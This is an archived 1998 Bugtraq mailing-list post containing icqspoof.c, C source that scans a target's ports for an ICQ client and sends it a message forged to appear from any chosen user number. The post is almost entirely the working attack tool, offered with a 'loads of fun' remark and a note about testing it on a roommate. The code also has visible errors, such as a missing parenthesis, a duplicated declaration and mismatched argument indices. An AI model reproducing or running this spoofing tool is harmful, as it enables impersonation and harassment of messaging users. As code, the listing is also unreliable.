ICQ Spoofer
X-RDate: Mon, 06 Apr 1998 10:09:35 +0600 (ESD)
Date: Sun, 5 Apr 1998 18:37:38 -0400
From: Seth McGann <smm@wpi.edu>
To: BUGTRAQ@NETSPACE.ORG
Subject: ICQ Spoofer
/* icqspoof.c - This program sends a message to a given ICQ user and it
* will appear to be from an arbitrary UIN. Loads of fun.
*
* Notes:
* As many of you know icqflood.c has been distributed by enkil^ and irQ.
* They claim their program is all their own work. Yet the "header" they
* use contains MY UIN. Strange, eh?
* A simple, "Packet Dump that we based our exploit on provided by Seth
* McGann" would have been enough. Even though I didn't specifically
* request credit it might have been nice to say something. In the future
* when you expand on someone's idea and work (yeah those traces didn't fall
* out of the sky ya know) give credit where credit is due.
*
* Concept, Protocol Analysis and Coding: Seth McGann
* Some functions dealing with socket scanning: icqflood.c by enkil^ and irQ
* With help from my roomate (target practice)
* And yes, this still works with ICQ 98. Coming soon: Chat and File Spoofing
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
int main(argc, argv)
int argc;
char *argv[];
{
struct sockaddr_in sin;
int sock,i,x,y;
unsigned long uin;
int Port;
char buffer[16];
int connected = 1;
typedef struct icq_prot {
unsigned char magicNum[2];
unsigned char UIN[4];
unsigned char unknown[4];
unsigned char unknown2[2];
unsigned char length[2];
unsigned char strng[256];
} icq_prot;
icq_prot sendMessage;
unsigned long temp;
unsigned char bigguy[1024];
if (argc != 6) {
fprintf(stderr,"Usage: icqspoof ip SpoofedUIN message startport
endport\n";
exit(1);
}
Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5]));
if (Port == -1) {
printf("No ICQ Port Found =(\n");
return;
}
sendMessage.magicNum[0]=0x2e;
sendMessage.magicNum[1]=0x0;
sendMessage.unknown[0]=0x04;
sendMessage.unknown[1]=0x01;
sendMessage.unknown[2]=0x0F;
sendMessage.unknown[3]=0x0;
sendMessage.unknown2[0]=0x01;
sendMessage.unknown2[1]=0x0;
temp=atol(argv[3]);
sendMessage.UIN[0]=temp & 0xFF;
sendMessage.UIN[1]=(temp >> 8) & 0xFF;
sendMessage.UIN[2]=(temp >> 16) & 0xFF;
sendMessage.UIN[3]=0;
strncpy(sendMessage.strng,argv[4],256);
sendMessage.length[0]=strlen(sendMessage.strng)+1;
sendMessage.length[1]=0;
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
printf("Error: Unable to creat socket, Exiting.\n");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(Port);
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
printf("Error Connecting to Socket\n");
return;
}
x=20;
bigguy[0]=sendMessage.magicNum[0];
bigguy[1]=sendMessage.magicNum[1];
bigguy[2]=sendMessage.UIN[0];
bigguy[3]=sendMessage.UIN[1];
bigguy[4]=sendMessage.UIN[2];
bigguy[5]=sendMessage.UIN[3];
bigguy[6]=0x02;
bigguy[7]=0x00;
bigguy[8]=0xEE;
bigguy[9]=0x07;
bigguy[10]=0x00;
bigguy[11]=0x00;
bigguy[12]=sendMessage.UIN[0];
bigguy[13]=sendMessage.UIN[1];
bigguy[14]=sendMessage.UIN[2];
bigguy[15]=sendMessage.UIN[3];
bigguy[16]=0x01;
bigguy[17]=0x00;
bigguy[18]=sendMessage.length[0];
bigguy[19]=sendMessage.length[1];
for(i=0;i<sendMessage.length[0];i++)
bigguy[x++]=sendMessage.strng[i];
bigguy[x++]=0x82;
bigguy[x++]=0xD7;
bigguy[x++]=0xF3;
bigguy[x++]=0x20;
bigguy[x++]=0x82;
bigguy[x++]=0xD7;
bigguy[x++]=0xF3;
bigguy[x++]=0x20;
bigguy[x++]=0x09;
bigguy[x++]=0x04;
bigguy[x++]=0x00;
bigguy[x++]=0x00;
bigguy[x++]=0x04;
bigguy[x++]=0x00;
bigguy[x++]=0x00;
bigguy[x++]=0x10;
bigguy[x++]=0x01;
bigguy[x++]=0xEB;
bigguy[x++]=0xFF;
bigguy[x++]=0xFF;
bigguy[x++]=0xFF;
bigguy[x++]=0x02;
bigguy[x++]=0x00;
bigguy[x++]=0x0A;
bigguy[x++]=0x09;
bigguy[x++]=0x00;
write(sock,bigguy,x-1);
printf("Done!\n");
close(sock);
return 0;
}
int ScanPort(char *ipaddr, int StartIP, int EndIP) {
struct sockaddr_in sin;
int sock,x,y;
unsigned long uin;
unsigned long uin;
printf("Scanning Ports");
for (x=StartIP;x<=EndIP;++x) {
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
printf("Error: Unable to connect\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(ipaddr);
sin.sin_port = htons(x);
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {
close(sock);
printf("Port %d Open! Spoofing...\n",x);
fflush(stdout);
return x;
}
printf(".");
fflush(stdout);
}
printf("\n");
return -1;
}
